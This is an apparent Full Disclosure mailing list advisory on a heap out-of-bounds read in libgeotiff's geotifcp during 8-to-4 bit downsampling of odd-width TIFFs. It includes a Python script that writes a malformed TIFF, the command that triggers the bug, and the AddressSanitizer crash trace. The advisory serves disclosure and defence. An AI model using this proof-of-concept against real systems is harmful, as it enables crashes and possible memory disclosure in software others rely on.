Full Disclosure mailing list archives

libgeotiff 1.7.4 Heap Buffer Overflow in geotifcp (libgeotiff) During 8-to-4 Bit Downsample with Odd Image Width


From: Ron E <ronaldjedgerson () gmail com>
Date: Sun, 28 Sep 2025 12:04:27 -0400

A heap buffer overflow vulnerability exists in the geotifcp utility,
distributed as part of libgeotiff. The flaw occurs in the function
cpContig2ContigByRow_8_to_4 when processing TIFF images with an odd
ImageWidth and using the -d option (downsampling from 8-bit to 4-bit).
During conversion, the function iterates over pixels in pairs and always
accesses buf_in[i_in+1]. When the width is odd, the last iteration
dereferences one byte past the allocated buffer, resulting in a heap
out-of-bounds read. This can lead to a crash, potential information
disclosure, or further memory corruption depending on context.


*Impact:*

   - Crash (denial of service)
   - Possible information leak (read beyond buffer)
   - Undefined behavior that could potentially be leveraged for further
   exploitation in specific contexts

*Proof of Concept (PoC):*

A minimal TIFF file with ImageWidth = 101, ImageLength = 1, BitsPerSample =
8, SamplesPerPixel = 1, and RowsPerStrip = 1 triggers the overflow:


# Create poc.tif using provided Python script


import struct


# TIFF little-endian header

# 'II' (2 bytes), 42 (uint16), offset to IFD (uint32)

# we will place IFD right after header, so offset = 8

header = b'II' + struct.pack('<H', 42) + struct.pack('<I', 8)


# IFD entries we will create (9 entries)

# tags:

# 256 ImageWidth (SHORT=3) value=101

# 257 ImageLength (SHORT=3) value=1

# 258 BitsPerSample (SHORT=3) value=8

# 259 Compression (SHORT=3) value=1 (none)

# 262 PhotometricInterpretation (SHORT=3) value=1

# 273 StripOffsets (LONG=4) value=offset_to_image_data (we'll compute)

# 277 SamplesPerPixel (SHORT=3) value=1

# 278 RowsPerStrip (LONG=4) value=1

# 279 StripByteCounts (LONG=4) value=101


# helper to build a directory entry: tag(2), type(2), count(4),
value/offset(4)

def dir_entry(tag, typ, count, val_or_off):

    return struct.pack('<HHII', tag, typ, count, val_or_off)


# We'll compute IFD size: 2 (count) + 9*12 (entries) + 4 (nextIFD) = 2 +
108 + 4 = 114 bytes

# So image data will start at offset = header(8) + 114 = 122

ifd_offset = 8

num_entries = 9

ifd_entries_size = num_entries * 12

next_ifd_ptr_offset = ifd_offset + 2 + ifd_entries_size  # where nextIFD
ptr will live

image_data_offset = next_ifd_ptr_offset + 4  # image data follows nextIFD
ptr

# image_data_offset should be 122


entries = []


# ImageWidth tag 256 type SHORT(3) count=1 value=101 -> value fits into 4
bytes

entries.append(dir_entry(256, 3, 1, 101))


# ImageLength tag 257 type SHORT count=1 value=1

entries.append(dir_entry(257, 3, 1, 1))


# BitsPerSample tag 258 type SHORT count=1 value=8

entries.append(dir_entry(258, 3, 1, 8))


# Compression tag 259 type SHORT count=1 value=1 (no compression)

entries.append(dir_entry(259, 3, 1, 1))


# PhotometricInterpretation tag 262 type SHORT count=1 value=1

entries.append(dir_entry(262, 3, 1, 1))


# StripOffsets tag 273 type LONG count=1 value=image_data_offset

entries.append(dir_entry(273, 4, 1, image_data_offset))


# SamplesPerPixel tag 277 type SHORT count=1 value=1

entries.append(dir_entry(277, 3, 1, 1))


# RowsPerStrip tag 278 type LONG count=1 value=1

entries.append(dir_entry(278, 4, 1, 1))


# StripByteCounts tag 279 type LONG count=1 value=101 (image width *
samples * 1 row)

image_width = 101

entries.append(dir_entry(279, 4, 1, image_width))


# Build IFD binary: count, entries..., nextIFD (0)

ifd = struct.pack('<H', num_entries) + b''.join(entries) +
struct.pack('<I', 0)


# Now build image data: one scanline of 101 bytes (we'll fill with 0x41
'A', but any bytes work)

image_data = b'A' * image_width


# Put it all together

tiff = header + ifd + image_data


# Write file

with open('poc.tif', 'wb') as f:

    f.write(tiff)


print("Wrote poc.tif (width={}, length=1, {} bytes)".format(image_width,
len(tiff)))


%python3 make_poc.py




# Trigger overflow

ASAN_OPTIONS=abort_on_error=1 \

UBSAN_OPTIONS=print_stacktrace=1 \

geotifcp -d poc.tif out.tif


*Output:*

==1880851==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x50b000005065 at pc 0xaaf267f250b0 bp 0xffffee9f65a0 sp 0xffffee9f6598

READ of size 1 at 0x50b000005065 thread T0

    #0 0xaaf267f250ac in cpContig2ContigByRow_8_to_4
/root/libgeotiff/libgeotiff/bin/geotifcp.c:792:44

    #1 0xaaf267f21c98 in tiffcp
/root/libgeotiff/libgeotiff/bin/geotifcp.c:726:15

    #2 0xaaf267f21c98 in main
/root/libgeotiff/libgeotiff/bin/geotifcp.c:224:9

    #3 0xff50d4b02290 in __libc_start_call_main
csu/../sysdeps/nptl/libc_start_call_main.h:58:16

    #4 0xff50d4b02374 in __libc_start_main csu/../csu/libc-start.c:360:3

    #5 0xaaf267e3bd2c in _start (/usr/local/bin/geotifcp+0x7bd2c) (BuildId:
7b47067afc115c8ff3d6baae72841c9da29073fb)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/


Current thread: